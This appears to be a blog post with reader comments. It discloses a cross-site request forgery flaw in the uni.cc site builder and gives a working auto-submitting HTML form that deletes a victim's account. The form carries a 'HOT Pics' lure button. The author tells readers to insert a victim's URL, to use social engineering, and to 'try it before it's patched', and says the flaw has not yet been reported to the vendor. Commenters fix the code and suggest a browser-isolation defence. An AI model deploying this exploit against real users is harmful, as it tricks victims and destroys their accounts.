This morning I am asked to see if there is any security hole on a uni.cc subdomain. That site uses Site Builder Tool. In order to find out more, I sign up a subdomain for a small research. And as I expected, I found a vulnerability.
Yeah, that’s a CSRF vulnerability. Here is the PoC :
<form name=”f” action=”http://www.uni.cc/site/dcp_ddelete1.php” method=”POST”>
<input type=”hidden” name=”DN” value=”testdoank.uni.cc“>
<input type=”submit” name=”s” class=”btn” value=”Click here to see my HOT Pics”>
</form>
<script language=”javascript”>
document.forms[0].submit()
</script>
Note : Change the URL (in red) to victim site URL.
In order to make this attack successful, you will need a little social engineering trick and timing is important. Because Uni.cc stores login information on Session not on Cookies, thus it became less critical. But the payload is critical if this attack success, this will delete the victim’s uni.cc account.
Haven’t reported to Uni.cc yet, but soon will 
so try it before it’s patched 
nice share , dude
csrf is still everywhere
A simple execution of this will surely land user in trouble and of course, as the article proposed, timing and technique is needed to do this cursed stuff.
One way of prevention of similar attack would be using Mozilla Prism when browsing critical site as every single session and authentication is bound to their respective windows’ scope.
Correction:
document.forms(0).submit()
should be
document.forms[0].submit()
haha.. Thanks for the correction
btw, I intended to put [] but don’t know why it becomes () lol
@eddy : finally there’s a way to prevent csrf from client side
gonna try it soon .. thx
nice… How wonderful I don’t use their service again…
nice 
Well a good find
test from lynx